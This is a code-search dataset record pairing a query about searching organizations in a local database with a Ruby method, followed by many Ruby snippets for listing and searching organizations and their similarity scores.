"def get_cloud_tfc_organization_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CloudApi.get_cloud_tfc_organization_list ...'\n end\n allowable_values = [\"allpages\", \"none\"]\n if @api_client.config.client_side_validation && opts[:'inlinecount'] && !allowable_values.include?(opts[:'inlinecount'])\n fail ArgumentError, \"invalid value for \\\"inlinecount\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/api/v1/cloud/TfcOrganizations'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'$select'] = opts[:'select'] if !opts[:'select'].nil?\n query_params[:'$expand'] = opts[:'expand'] if !opts[:'expand'].nil?\n query_params[:'$apply'] = opts[:'apply'] if !opts[:'apply'].nil?\n query_params[:'$count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'$inlinecount'] = opts[:'inlinecount'] if !opts[:'inlinecount'].nil?\n query_params[:'at'] = opts[:'at'] if !opts[:'at'].nil?\n query_params[:'tags'] = opts[:'tags'] if !opts[:'tags'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'CloudTfcOrganizationResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CloudApi.get_cloud_tfc_organization_list\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CloudApi#get_cloud_tfc_organization_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @organizations = Organization.all\n end",
"def list_organizations\r\n Organization.organizations_by_user(self)\r\n end",
"def search(term, location)\n url = \"#{API_HOST}#{SEARCH_PATH}\"\n params = {\n term: term,\n location: location,\n limit: SEARCH_LIMIT\n }\n#this takes info from params hash\n response = HTTP.auth(bearer_token).get(url, params: params)\n response.parse[\"businesses\"]\nend",
"def account_organization\n get('account/organization')\n end",
"def search(params = {})\n @api.get(\"api.json\", params)\n end",
"def create_organizations_api\n InfluxDB2::API::OrganizationsApi.new(@api_client)\n end",
"def index\n authorize! :read, Organisation\n\n if params[:q]\n @items = Organisation.like(params[:q]).alpha\n respond_to do |format|\n format.json {\n @data = { captions: @items.map { |org| org.abbreviation } }\n render json: @data\n }\n end\n else\n respond_to do |format|\n format.html\n format.js\n format.json { render json: OrganisationsDatatable.new(view_context) }\n end\n end\n end",
"def index\n default_og_params('Organizations')\n @filterrific = initialize_filterrific(\n Org,\n params[:filterrific],\n select_options: { with_category: Org.categories }\n ) || return\n @orgs = @filterrific.find.sort_by(&:name)\n\n respond_to do |format|\n format.html\n format.js\n end\n end",
"def get_by_key(key)\n HttpClient::Preconditions.assert_class('key', key, String)\n @client.request(\"/organizations/#{CGI.escape(key)}\").get { |hash| Apidoc::Models::Organization.new(hash) }\n end",
"def GetOrg id\n\n APICall(path: \"organizations/#{id}.json\")\n\n end",
"def index\n @organization_statuses = @organization.organization_statuses # .paginate(:page => params[:page]).per_page(10)\n end",
"def organizations\r\n OrganizationsController.instance\r\n end",
"def get(*args)\n arguments(args, required: [:org_name])\n\n get_request(\"/orgs/#{arguments.org_name}\", arguments.params)\n end",
"def get_organisations_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BlueOceanApi.get_organisations ...'\n end\n # resource path\n local_var_path = '/blue/rest/organizations/'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['jenkins_auth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Organisations')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BlueOceanApi#get_organisations\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def orgs(enterprise = 'default')\n @api.orgs enterprise\n end",
"def index\n @organizations = Organization.find(:all, :order => 'name ASC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @organizations }\n end\n end",
"def list \n @organizations = Organization.all\n \n render \"list\"\n end",
"def get_by_org_key(org_key, incoming={})\n HttpClient::Preconditions.assert_class('org_key', org_key, String)\n opts = HttpClient::Helper.symbolize_keys(incoming)\n query = {\n :name => HttpClient::Preconditions.assert_class_or_nil('name', opts.delete(:name), String),\n :key => HttpClient::Preconditions.assert_class_or_nil('key', opts.delete(:key), String),\n :limit => HttpClient::Preconditions.assert_class_or_nil('limit', opts.delete(:limit), Integer),\n :offset => HttpClient::Preconditions.assert_class_or_nil('offset', opts.delete(:offset), Integer)\n }.delete_if { |k, v| v.nil? }\n @client.request(\"/#{CGI.escape(org_key)}\").with_query(query).get.map { |hash| Apidoc::Models::Service.new(hash) }\n end",
"def search_repos\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n @client = Octokit::Client.new(:access_token => @current_user.token)\n\n # search repos using user query\n repos = @client.search_repositories(\"ember\")\n\n @json = repos.items.map do |repo|\n nhash = repo.to_hash\n nhash\n end\n\n respond_to do |format|\n format.json {\n render json: @json.to_json, status: 200\n }\n end\n end",
"def get(incoming={})\n opts = HttpClient::Helper.symbolize_keys(incoming)\n query = {\n :guid => HttpClient::Preconditions.assert_class_or_nil('guid', HttpClient::Helper.to_uuid(opts.delete(:guid)), String),\n :user_guid => HttpClient::Preconditions.assert_class_or_nil('user_guid', HttpClient::Helper.to_uuid(opts.delete(:user_guid)), String),\n :key => HttpClient::Preconditions.assert_class_or_nil('key', opts.delete(:key), String),\n :name => HttpClient::Preconditions.assert_class_or_nil('name', opts.delete(:name), String),\n :limit => HttpClient::Preconditions.assert_class_or_nil('limit', opts.delete(:limit), Integer),\n :offset => HttpClient::Preconditions.assert_class_or_nil('offset', opts.delete(:offset), Integer)\n }.delete_if { |k, v| v.nil? }\n @client.request(\"/organizations\").with_query(query).get.map { |hash| Apidoc::Models::Organization.new(hash) }\n end",
"def get_organization_licenses(options = {})\r\n # Validate required parameters.\r\n validate_parameters(\r\n 'organization_id' => options['organization_id']\r\n )\r\n # Prepare query url.\r\n _path_url = '/organizations/{organizationId}/licenses'\r\n _path_url = APIHelper.append_url_with_template_parameters(\r\n _path_url,\r\n 'organizationId' => options['organization_id']\r\n )\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << _path_url\r\n _query_builder = APIHelper.append_url_with_query_parameters(\r\n _query_builder,\r\n {\r\n 'perPage' => options['per_page'],\r\n 'startingAfter' => options['starting_after'],\r\n 'endingBefore' => options['ending_before'],\r\n 'deviceSerial' => options['device_serial'],\r\n 'networkId' => options['network_id'],\r\n 'state' => options['state']\r\n },\r\n array_serialization: Configuration.array_serialization\r\n )\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body) unless\r\n _context.response.raw_body.nil? ||\r\n _context.response.raw_body.to_s.strip.empty?\r\n decoded\r\n end",
"def list_org\n @users = User.where(organization: true)\n\n render \"list_org\"\n end",
"def orgs\n @orgs ||= begin\n client.organizations.map(&:login)\n rescue Octokit::Unauthorized, Faraday::ConnectionFailed\n []\n end\n end",
"def index\n @user_organizations = UserOrganization.all\n end",
"def organizations \n puts \"List of organizations:\"\nend",
"def index\n @organizations = Organization.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @organizations }\n end\n end",
"def do_your_stuff! organization_name\n get_members_for_org organization_name\n get_repositories_for_all_members\n get_stats_for_repositories\n end",
"def find_buildings(architect)\n name = architect.name\n url = Addressable::URI.parse('https://www.googleapis.com/freebase/v1/search')\n url.query_values = {\n query: name,\n type: \"/architecture/structure\",\n key: GOOGLE_CLIENT_ID\n }\n from_freebase = HTTParty.get(url, :format => :json)\n @results = from_freebase[\"result\"]\n @buildings_designed = @results.map { |building| building[\"name\"]}\n end",
"def show\n cf_get(path: \"/organizations/#{org_id}\")\n end",
"def vendor_search\n convention = Convention.find(params[\"id\"])\n @search_results = convention.convention_vendor_search(params[\"search\"])\n end",
"def index\n\t\t@organizations = Organization.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.xml { render :xml => @organizations }\n\t\tend\n\tend",
"def find_organization\n @organization = Organization.find(params[:organization_id])\n end",
"def search_people(searchterm,params={})\n @opensearch.search_people(searchterm,params) \n end",
"def own_organizations\n api.org_memberships.select { |org| org[:role] == \"admin\"}\n end",
"def load_organization_or_organizations\n if params[:organization_id] && Organization::ALL_ID == params[:organization_id].downcase\n if params[:tag_id]\n # a1)\n @organizations = Organization.find_tagged_with(Tag.parse_param(params[:tag_id]), {\n :origin => @origin,\n :within => @radius,\n :conditions => {:status => 'active'},\n :limit => LOCATIONS_LIMIT\n })\n else\n # a)\n @organizations = Organization.find(:all, {\n :origin => @origin,\n :within => @radius,\n :conditions => {:status => 'active'},\n :limit => LOCATIONS_LIMIT\n })\n end\n @locations += @organizations unless @organizations.blank?\n elsif params[:organization_id] && !params[:kase_id]\n # b)\n if @organization = Organization.find_by_permalink_and_region_and_active(params[:organization_id], {\n :conditions => [\"organizations.lng IS NOT NULL AND organizations.lat IS NOT NULL\"]})\n @locations << @organization\n @origin = @organization.geo_location || @origin\n end\n end\n true\n end",
"def search\n terms = @authority.search(url_search)\n render json: terms\n end",
"def index\r\n @orgs = Org.all\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @orgs }\r\n end\r\n end",
"def admin_organizations_with_protocols\n Organization.authorized_for_identity(@id).joins(:sub_service_requests)\n end",
"def search\n if params[:key] == AUTHORIZATION_TOKEN && params[:q] == \"discover\"\n @google_places = discover\n @places = PLACES.select do |place|\n (place[:coordinates][:latitude].between?(average_location - 0.01, average_location + 0.01))\n end\n elsif params[:key] == AUTHORIZATION_TOKEN && params[:q]\n params_hash = {\n q: params[:q],\n type: params[:type] || \"bar\"\n }\n @google_places = call(params_hash)\n @places = PLACES.select do |place|\n (place[:name].downcase.include? (params[:q].downcase)) || (place[:coordinates][:latitude].between?(average_location - 0.01, average_location + 0.01))\n end\n\n render_error(\"empty\") if @google_places.empty? && @places.empty?\n elsif params[:q]\n render_error\n else\n render_error(\"missing_params\")\n end\n end",
"def index\n authorize Project\n @projects = Project.filter(params.slice(:organization_id, :status)).includes([:commodity, :organization, :commodity_source, :unit_of_measure]) \n end"
] |
[
"0.7734928",
"0.77025133",
"0.7374608",
"0.73630416",
"0.7336602",
"0.733185",
"0.72774506",
"0.72478324",
"0.7152148",
"0.7109227",
"0.71009266",
"0.71008855",
"0.7051551",
"0.7033463",
"0.7033463",
"0.69626904",
"0.6902262",
"0.68927705",
"0.6872008",
"0.67987955",
"0.67959535",
"0.6791271",
"0.66880393",
"0.66275567",
"0.6600322",
"0.6592522",
"0.65834254",
"0.65714484",
"0.6560489",
"0.6534837",
"0.64891815",
"0.6467498",
"0.64298135",
"0.64045864",
"0.639706",
"0.6392166",
"0.63860536",
"0.63774335",
"0.637447",
"0.6363513",
"0.63614273",
"0.63598907",
"0.63598907",
"0.63598907",
"0.63598907",
"0.63598907",
"0.63598907",
"0.63598907",
"0.63598907",
"0.63598907",
"0.63418674",
"0.6334493",
"0.63129574",
"0.6303486",
"0.63007843",
"0.6295813",
"0.62934375",
"0.6288234",
"0.62782955",
"0.62717736",
"0.6267162",
"0.62662345",
"0.6266187",
"0.62659895",
"0.625541",
"0.62515837",
"0.6228007",
"0.6227811",
"0.62109226",
"0.61860263",
"0.61817884",
"0.6174469",
"0.61623764",
"0.6158738",
"0.6154268",
"0.6147371",
"0.6138394",
"0.6128746",
"0.61230385",
"0.61207956",
"0.61178464",
"0.6110599",
"0.6106692",
"0.60992587",
"0.6092473",
"0.6071792",
"0.6068041",
"0.6066742",
"0.6065159",
"0.6051511",
"0.6045654",
"0.60446525",
"0.60387814",
"0.60323834",
"0.6016513",
"0.6014514",
"0.5993211",
"0.59918684",
"0.598568",
"0.5985311",
"0.5978053"
] |
0.0
|
-1
|
Search for organizations in the local DB only
|
def search_locally(search_term:)
return [] unless search_term.present? && search_term.length > 2
orgs = local_search(search_term: search_term)
prepare(search_term: search_term, records: orgs)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @organizations = Organization.by_query(params[:q])\n end",
"def query_organizations(options = nil)\n require_relative 'telerivet/organization'\n self.cursor(Organization, get_base_api_path() + \"/organizations\", options)\n end",
"def find_organizations\n Organization.all\n end",
"def index\n if params[:name]\n @organizations = Organization.where(\"alias LIKE ?\", \"#{params[:name]}%\")\n else\n @organizations = Organization.all\n end\n end",
"def index\n if search_params \n logger.debug \"Got params: #{search_params}\"\n @organization = Organization.find(search_params)\n else\n logger.debug \"No params!\"\n end\n # @organizations = Organization.all\n end",
"def getActiveOrgs\n UI.important(\"Getting organization active organizations from DB\")\n\n begin\n dynamodb = Aws::DynamoDB::Client.new(region: ENV.fetch(\"AWS_DEFAULT_REGION\", nil))\n\n items = dynamodb_full_scan(dynamodb,\n {\n table_name: \"Organizations\",\n projection_expression: \"id, #SE, #ST\",\n expression_attribute_names: {\n \"#SE\" => \"settings\",\n \"#ST\" => \"status\"\n },\n expression_attribute_values: {\n \":p\" => \"public\",\n \":s\" => true\n },\n filter_expression: \"#ST.active = :s AND #SE.listing = :p\"\n })\n\n orgs = []\n UI.important(\"Organization to BUILD:\")\n items.each do |item|\n orgs.push(item['id'])\n UI.important(item['id'])\n end\n\n return orgs\n rescue Aws::DynamoDB::Errors::ServiceError => e\n UI.error(e.message)\n return nil\n end\nend",
"def getInStoreOrgs\n UI.important(\"Getting organization active organizations from DB\")\n\n begin\n dynamodb = Aws::DynamoDB::Client.new(region: ENV.fetch(\"AWS_DEFAULT_REGION\", nil))\n\n items = dynamodb_full_scan(dynamodb,\n {\n table_name: \"Organizations\",\n projection_expression: \"id, #SE, #ST\",\n expression_attribute_names: {\n \"#SE\" => \"settings\",\n \"#ST\" => \"status\"\n },\n expression_attribute_values: {\n \":p\" => \"public\",\n \":s\" => true\n },\n filter_expression: \"#SE.in_stores = :s AND #SE.listing = :p\"\n })\n\n orgs = []\n UI.important(\"Organization to BUILD:\")\n items.each do |item|\n next unless (item[\"status\"][\"active\"] == true) && \\\n (item[\"id\"] != \"bfanteam\")\n\n orgs.push(item[\"id\"])\n UI.important(item[\"id\"])\n end\n\n return orgs\n rescue Aws::DynamoDB::Errors::ServiceError => e\n UI.error(e.message)\n return nil\n end\nend",
"def index\n if params[:search].present?\n # search radius and order by distance\n @organizations = Organization.near(params[:search], 10, :order => 'distance') + Organization.where(\"org_name ILIKE ?\", \"%#{params[:search]}%\")\n\n # ILIKE is a way for insensitive case match\n\n\n if @organizations.empty?\n flash.now[:alert] = \"Your search for #{params[:search]} did not return any results. Please try again.\"\n @organizations = Organization.all\n end\n else\n @organizations = Organization.all\n end\n end",
"def search \n \n @search_text = params[:search_text] || \"\"\n \n escaped_search_text = Riddle.escape(@search_text) \n \n # Search only non-uninitialized association members\n organizations = Organization.search escaped_search_text,\n :with => { :uninitialized_association_member => 0 },\n :per_page => 1000,\n :star => true \n \n if current_association then\n \n # Search uninitialized association members\n association_organizations = Organization.search escaped_search_text, \n :with => { \n :association_ids => current_association.id, \n :uninitialized_association_member => 1 \n },\n :per_page => 1000,\n :star => true\n \n # Join the association/non-association member results together\n organizations = organizations.concat(association_organizations)\n end\n \n respond_to do |wants|\n \n wants.json do\n \n # When rendering the organizations as json, we only want to render certain attributes/methods. Rendering\n # all of the attributes hurts performance as well as exposes sensitive information that\n # should not be shared.\n render :json => organizations.sort {|x,y| x.name <=> y.name }.to_json(\n :only => [:name, :location, :id, :contact_name],\n :methods => 'name_and_location')\n \n end\n \n end\n \n end",
"def index\n @people_organizations = PeopleOrganization.search(params[:search]).order(\"OrganizationName\")\n end",
"def organizations_in_vercinity\n\n\tend",
"def search_organizations(term, value)\n results = @organizations_indice.search(term: term, value: value)\n if perform_search_by_id?(term)\n results.each do |organization|\n # Get related tickets\n organization['tickets'] =\n @tickets_indice.search(term: 'organization_id', value: organization['_id'])\n\n # Get related users\n organization['users'] =\n @users_indice.search(term: 'organization_id', value: organization['_id'])\n end\n end\n results\n end",
"def search_orgs(query, params = {})\n params.merge!(q: query)\n orgs(params)\n end",
"def load_organization_or_organizations\n if params[:organization_id] && Organization::ALL_ID == params[:organization_id].downcase\n if params[:tag_id]\n # a1)\n @organizations = Organization.find_tagged_with(Tag.parse_param(params[:tag_id]), {\n :origin => @origin,\n :within => @radius,\n :conditions => {:status => 'active'},\n :limit => LOCATIONS_LIMIT\n })\n else\n # a)\n @organizations = Organization.find(:all, {\n :origin => @origin,\n :within => @radius,\n :conditions => {:status => 'active'},\n :limit => LOCATIONS_LIMIT\n })\n end\n @locations += @organizations unless @organizations.blank?\n elsif params[:organization_id] && !params[:kase_id]\n # b)\n if @organization = Organization.find_by_permalink_and_region_and_active(params[:organization_id], {\n :conditions => [\"organizations.lng IS NOT NULL AND organizations.lat IS NOT NULL\"]})\n @locations << @organization\n @origin = @organization.geo_location || @origin\n end\n end\n true\n end",
"def open\n find(:all, :conditions => [\"person_id is null\"], :include => [:organization])\n end",
"def find_users\n @organization = Organization.find_by(slug: organization_params[:slug])\n @search = organization_params[:searchUser]\n if !@search.nil?\n if @search != ''\n # XXX (cmhobbs) none of this db nonsense in the controllers, please\n @users = User.joins('LEFT JOIN organizations ON organizations.id=users.organization_id')\n .where('users.name ILIKE ? OR organizations.title ILIKE ?', \"%#{@search}%\", \"%#{@search}%\")\n else\n @users = nil\n end\n else\n @users = nil\n end\n end",
"def set_filtered_organizations\n scope = current_user.organizations.includes(:assignments, :group_assignments).filter_by_search(@query)\n\n scope = case @current_view_mode\n when \"Archived\" then scope.archived\n when \"Active\" then scope.not_archived\n else scope\n end\n\n @organizations = scope\n .order_by_sort_mode(@current_sort_mode)\n .order(:id)\n .page(params[:page])\n .per(12)\n end",
"def list_org\n @users = User.where(organization: true)\n\n render \"list_org\"\n end",
"def index\n @organizations = Spree::Organization.all\n end",
"def active_organizations\n admin? ? Organization.all : organizations.map(&organization_mapper).flatten\n end",
"def own_organizations\n api.org_memberships.select { |org| org[:role] == \"admin\"}\n end",
"def index\n if params[:terms]\n # Search mode\n @organizations = []\n JSON.parse(params[:terms]).map { |t| @organizations = @organizations | MnoEnterprise::Organization.where(Hash[*t]).fetch }\n response.headers['X-Total-Count'] = @organizations.count\n else\n # Index mode\n query = MnoEnterprise::Organization\n query = query.limit(params[:limit]) if params[:limit]\n query = query.skip(params[:offset]) if params[:offset]\n query = query.order_by(params[:order_by]) if params[:order_by]\n query = query.where(params[:where]) if params[:where]\n all = query.all\n\n all.params[:sub_tenant_id] = params[:sub_tenant_id]\n all.params[:account_manager_id] = params[:account_manager_id]\n\n @organizations = all.fetch\n\n response.headers['X-Total-Count'] = @organizations.metadata[:pagination][:count]\n end\n end",
"def orgs\n client.organizations\n end",
"def index\n if params[:search]\n @organizations = Organization.public_search(params[:search]).where(language: cookies[:locale].to_s).page params[:page]\n\n elsif params[:tag]\n sql = \"\"\"SELECT taggable_id FROM taggings\n WHERE taggable_type='Donatable::Organization'\n AND tag_id IN (SELECT id FROM tags WHERE name='#{params[:tag]}');\n \"\"\"\n org_ids = []\n ActiveRecord::Base.connection.select_all(sql).each do |org|\n org_ids << org['taggable_id']\n end\n @organizations = Kaminari.paginate_array(Organization.where(language: cookies[:locale].to_s, id: org_ids)).page(params[:page])\n\n\n else\n @organizations = Organization.where(language: cookies[:locale]).page params[:page]\n end\n end",
"def index\n @search = params[:search] || Hash.new\n @search[:name_contains] = params[:term] if params[:term]\n @search.each do |k,v|\n if !v.blank? && Organization::SEARCHABLE.include?( k.to_sym )\n @organizations = @organizations.send k, v\n end\n end\n @organizations = @organizations.page(params[:page])\n\n\n respond_to do |format|\n format.html { render action: 'index' } # index.html.erb\n format.json { render json: @organizations.map { |o| { id: o.id, label: o.name, value: o.name(:last_first) } } }\n format.xml { render :xml => @organizations }\n end\n end",
"def queries(with_orgs=true)\n condition_parts(with_orgs).reduce(:merge)\n end",
"def find_all_organizations\n get_url(\"https://api.github.com/users/#{current_user.username}/orgs\")\n end",
"def index\n @organizations = Organization.all\n end",
"def index\n @organizations = Organization.all\n end",
"def index\n @organizations = Organization.all\n end",
"def index\n @organizations = Organization.all\n end",
"def index\n @organizations = Organization.all\n end",
"def index\n @organizations = Organization.all\n end",
"def index\n @organizations = Organization.all\n end",
"def index\n @organizations = Organization.all\n end",
"def index\n @organizations = Organization.all\n end",
"def all_organizations\n admin? ? Organization.all : organizations.map(&organization_mapper(false)).flatten\n end",
"def index\n @organizations = Organization.all\n end",
"def organizations(org_list = nil)\n if org_list\n return org_list if dashboard_type == 'template'\n org_list.to_a.select { |e| organization_ids.include?(e.uid) || organization_ids.include?(e.id) }\n else\n MnoEnterprise::Organization.where('uid.in' => organization_ids).to_a\n end\n end",
"def list_organizations\r\n Organization.organizations_by_user(self)\r\n end",
"def get_organizations\n org_references =\n locations.each_with_object({}) do |loc, acc|\n reference = loc.resource.managingOrganization.reference\n org_id = reference.match(ID_MATCHER)[1]\n\n acc[org_id] ||= []\n acc[org_id] << loc\n end\n\n facility_identifiers = org_references&.keys&.join(',')\n org_response = organization_service.search(_id: facility_identifiers, _count: '100')\n\n org_response&.resource&.entry\n end",
"def index\n @organic_units = OrganicUnit.search(params[:search]).paginate(:per_page => 2, :page => params[:page])\n @title = \"Organic Units\"\n @orgs = OrganicUnit.all\n end",
"def index\n @organizations = Organization.preload(:organization_category, project: :custom_values).all\n #\n # preload(:custom_values)\n # if has_column?(:author)\n # scope = scope.preload(:author)\n # end\n end",
"def index\n\n @organization_id = params[:organization_id].to_i\n @search_text = params[:search_text]\n @role = params[:role].split(\",\") if params[:role]\n @id_filter_list = params[:ids]\n\n # Start to set up the query\n conditions = []\n values = []\n\n if @organization_id.to_i > 0\n conditions << 'users_organizations.organization_id = ?'\n values << @organization_id\n else\n conditions << 'users_organizations.organization_id IN (?)'\n values << @organization_list\n end\n\n\n unless @search_text.blank?\n # get the list of searchable fields from the asset class\n searchable_fields = User.new.searchable_fields\n # create an OR query for each field\n query_str = []\n first = true\n # parameterize the search based on the selected search parameter\n search_value = get_search_value(@search_text, @search_param)\n # Construct the query based on the searchable fields for the model\n searchable_fields.each do |field|\n if first\n first = false\n query_str << '('\n else\n query_str << ' OR '\n end\n\n query_str << \"UPPER(users.#{field})\"\n query_str << ' LIKE ? '\n # add the value in for this sub clause\n values << search_value.upcase\n end\n query_str << ')' unless searchable_fields.empty?\n\n conditions << [query_str.join]\n end\n\n unless @id_filter_list.blank?\n conditions << 'object_key in (?)'\n values << @id_filter_list\n end\n\n if params[:show_active_only].nil?\n @show_active_only = 'active'\n else\n @show_active_only = params[:show_active_only]\n end\n\n if @show_active_only == 'active'\n conditions << 'users.active = ?'\n values << true\n elsif @show_active_only == 'inactive'\n conditions << 'users.active = ?'\n values << false\n end\n\n # Get the Users but check to see if a role was selected\n @users = User.unscoped.distinct.joins(:organization).order('organizations.organization_type_id', 'organizations.short_name', :last_name).joins(:organizations).includes(:organization,:roles).where(conditions.join(' AND '), *values)\n\n unless @role.blank?\n all_users = @users\n @users = @users.with_role(@role[0])\n @role[1..-1].each do |r|\n @users = @users.or(all_users.with_role(r))\n end\n end\n\n if params[:sort] && params[:order]\n case params[:sort]\n when 'organization'\n @users = @users.reorder(\"organizations.short_name #{params[:order]}\")\n # figure out sorting by role + privilege some other way\n # when 'role_name'\n # @users = @users.joins(:roles).merge(Role.unscoped.order(name: params[:order]))\n # when 'privilege_names'\n # @users = @users.joins(:roles).merge(Role.order(privilege: params[:order]))\n else\n @users = @users.reorder(params[:sort] => params[:order])\n end\n end\n\n # Set the breadcrumbs\n if @organization_list.count == 1\n org = Organization.find(@organization_list.first)\n add_breadcrumb org.short_name, users_path(:organization_id => org.id)\n end\n if @role.present?\n role_string = @role.kind_of?(Array) ? Role.find_by(name: @role).try(:label).try(:parameterize).try(:underscore) : @role\n add_breadcrumb role_string.titleize, users_path(:role => role_string) if role_string\n end\n\n # remember the view type\n @view_type = get_view_type(SESSION_VIEW_TYPE_VAR)\n\n respond_to do |format|\n format.html # index.html.erb\n # format.json {\n # render :json => {\n # :total => @users.count,\n # :rows => @users.limit(params[:limit]).offset(params[:offset]).collect{ |u|\n # u.as_json.merge!({\n # organization_short_name: u.organization.short_name,\n # organization_name: u.organization.name,\n # role_name: !@role.blank? && (@role.kind_of?(Array) ? !Role.find_by(name:@role.first).privilege : !Role.find_by(name: @role).privilege) ? (@role.kind_of?(Array) ? u.roles.roles.where(name: @role).last.label : u.roles.roles.find_by(name: @role).label) : u.roles.roles.last.label,\n # privilege_names: u.roles.privileges.collect{|x| x.label}.join(', '),\n # all_orgs: u.organizations.map{ |o| o.to_s }.join(', ')\n # })\n # }\n # }\n # }\n\n end\n end",
"def index\n @user_organizations = UserOrganization.all\n end",
"def index\n @admins_organizations = Organization.all\n end",
"def get_organizations\n params = {\n 'method' => :get,\n 'command' => '/org'\n }\n\n response, headers = send_request(params)\n orgs = response.css('OrgList Org')\n\n results = {}\n orgs.each do |org|\n results[org['name']] = org['href'].gsub(\"#{@api_url}/org/\", \"\")\n end\n results\n end",
"def index\n redirect_to :root unless current_user.is_admin?\n @organizations = Organization.all\n end",
"def index\n @orgs = Org.all\n end",
"def find_organizations(opts = {})\n data, status_code, headers = find_organizations_with_http_info(opts)\n return data\n end",
"def index\n @organisations = Organisation.where(type: nil).order(name: :asc)\n end",
"def search\n @parsed_params = SearchParamsParser.new(params)\n @organisations = Queries::Organisations\n .search_by_keyword_and_category(@parsed_params)\n flash.now[:alert] = SEARCH_NOT_FOUND if @organisations.empty?\n @markers = build_map_markers(@organisations)\n render template: 'organisations/index'\n end",
"def index\n organizations = if params[:q]\n CclaSignature.search(params[:q])\n else\n Organization.includes(:ccla_signatures)\n end\n\n respond_to do |format|\n format.json do\n render json: organizations.to_json(only: [:id], methods: [:company])\n end\n end\n end",
"def organization\n Department.where(:tag_name => self.tags.all_private.map(&:name)).first\n end",
"def list_org\n __log_activity\n __debug_route\n prm = paginator.initial_parameters.except(*Paginator::NON_SEARCH_KEYS)\n org = current_org and current_org!(prm, org)\n terms = prm.delete(:like)\n found = { list: get_accounts(*terms, **prm) }\n @list = paginator.finalize(found, **prm)\n opt = { locals: { name: org&.label } }\n respond_to do |format|\n format.html { render 'account/index', **opt }\n format.json { render 'account/index', **opt }\n format.xml { render 'account/index', **opt }\n end\n end",
"def index\n authorize Project\n @projects = Project.filter(params.slice(:organization_id, :status)).includes([:commodity, :organization, :commodity_source, :unit_of_measure]) \n end",
"def organizations\n self.organization_ids.map do |uid|\n MnoEnterprise::Organization.find_by(uid: uid)\n end\n end",
"def index\n @organizations = Organization.order(:activated)\n end",
"def admin_of?(organization)\n organizations.where(id: organization).exists?\n end",
"def find_organization\n @organization = Organization.find(params[:organization_id])\n end",
"def index\n @host_orgs = HostOrg.all\n end",
"def get_repos_by_orga(orga) \n\t\treturn self.fetch(\"repos?owner_name=#{orga}\")\n\tend",
"def organizations_in_coalition(coalition)\n orgs_by_coalition_id[coalition.id] || []\n end",
"def managed_organizations\n if has_role?(:org_admin)\n org_ids = roles.where(name: Role::NAMES[:org_admin]).first.ref_ids\n Organization.in(id: org_ids)\n else\n []\n end\n end",
"def index\n @item_collections = ItemCollection.where('is_private=false')\n if !params[:search].nil? || params[:search] == ''\n t = ItemCollection.arel_table\n @item_collections = ItemCollection.where(t[:name].matches(\"%#{params[:search]}%\").and(t[:is_private].eq(false)))\n #@item_collections = ItemCollection.where('name LIKE ? AND is_private=false', \"%#{params[:search]}%\")\n end\n end",
"def get_organizations\n begin\n github_api_setup.organizations.list\n rescue Exception => e\n logger.error \"Github #get_organizations error #{e}\"\n end\n end",
"def organization_by_name(name)\n @organizations[name]\n end",
"def apply_agency_filter(organization_id,dayhome_query)\n \n \n dayhome_query = dayhome_query.joins(:organization)\n dayhome_query = dayhome_query.where(\"organizations.id = #{organization_id}\")\n dayhome_query\n end",
"def index\n @organizations = Organization.find(:all, :order => 'name ASC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @organizations }\n end\n end",
"def set_visible_orgs\n @visible_orgs ||= Organization.find_by_user(logged_in_user.username)\n end",
